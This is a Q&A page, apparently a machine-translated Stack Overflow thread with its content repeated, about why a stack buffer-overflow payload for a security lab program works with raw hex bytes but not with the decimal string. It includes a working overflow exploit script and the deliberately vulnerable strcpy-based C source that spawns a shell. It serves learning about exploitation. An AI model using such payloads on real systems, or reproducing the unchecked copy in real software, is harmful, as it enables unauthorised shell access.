为什么整数可以存储十六进制值但不能以十进制存储相同的值?
Why can integer store a hex value but cannot store the same value in decimal?
我最近通过导致其 char 数组溢出到另一个变量而成功地利用了 C 可执行文件。我通过将 exploit1.py 的输出管道输入命令行来完成此操作,该命令行被 lab2C 接受为参数。这是我使用的命令:./lab2C.exe "$(python /tmp/exploit1.py)"
。最终的 exploit1.py 文件如下所示:
exploit1.py(最终):
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
我读过乔恩·埃里克森 (Jon Erickson) 撰写的 黑客攻击的艺术,您可以使用命令行将十六进制字节代码通过管道传输到文件中,所以我试了一下我成功调用了 shell() 函数。
然而,有一件事我仍然感到困惑,即为什么在 0xdeadbeef 的十进制版本中作为参数的管道不起作用。这是我试图将 in 的输出通过管道传输到命令行的原始文件:
exploit1.py(原文):
def main():
print("aaabbbcccdddeee3735928559")
main()
当我这样做时,命令行返回以下内容:
Not authenticated.
set_me was 892548915
为什么这不起作用?是不是整数容器装不下0xdeadbeef的十进制值太大了?如果是这样,为什么整数可以接受等效的十六进制字节码?
规格-架构:i686; CPU 操作模式:32 位、64 位;内核名称:Linux;内核版本:#40~14.04.1-Ubuntu;编译器版本:Ubuntu 4.8.4-2ubuntu1~14.04
(这里有lab2C供参考):
lab2C:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
0xdeadbeef
等于3735928559
,但"3735928559"
等于
>>> [hex(ord(c)) for c in "3735928559"]
['0x33', '0x37', '0x33', '0x35', '0x39', '0x32', '0x38', '0x35', '0x35', '0x39']
即"\x33\x37\x33..."
处理这个漏洞的是整数的表示被字符串的表示覆盖,而不是字符串的解析值。
我最近通过导致其 char 数组溢出到另一个变量而成功地利用了 C 可执行文件。我通过将 exploit1.py 的输出管道输入命令行来完成此操作,该命令行被 lab2C 接受为参数。这是我使用的命令:./lab2C.exe "$(python /tmp/exploit1.py)"
。最终的 exploit1.py 文件如下所示:
exploit1.py(最终):
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
我读过乔恩·埃里克森 (Jon Erickson) 撰写的 黑客攻击的艺术,您可以使用命令行将十六进制字节代码通过管道传输到文件中,所以我试了一下我成功调用了 shell() 函数。
然而,有一件事我仍然感到困惑,即为什么在 0xdeadbeef 的十进制版本中作为参数的管道不起作用。这是我试图将 in 的输出通过管道传输到命令行的原始文件:
exploit1.py(原文):
def main():
print("aaabbbcccdddeee3735928559")
main()
当我这样做时,命令行返回以下内容:
Not authenticated.
set_me was 892548915
为什么这不起作用?是不是整数容器装不下0xdeadbeef的十进制值太大了?如果是这样,为什么整数可以接受等效的十六进制字节码?
规格-架构:i686; CPU 操作模式:32 位、64 位;内核名称:Linux;内核版本:#40~14.04.1-Ubuntu;编译器版本:Ubuntu 4.8.4-2ubuntu1~14.04
(这里有lab2C供参考): lab2C:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
0xdeadbeef
等于3735928559
,但"3735928559"
等于
>>> [hex(ord(c)) for c in "3735928559"]
['0x33', '0x37', '0x33', '0x35', '0x39', '0x32', '0x38', '0x35', '0x35', '0x39']
即"\x33\x37\x33..."
处理这个漏洞的是整数的表示被字符串的表示覆盖,而不是字符串的解析值。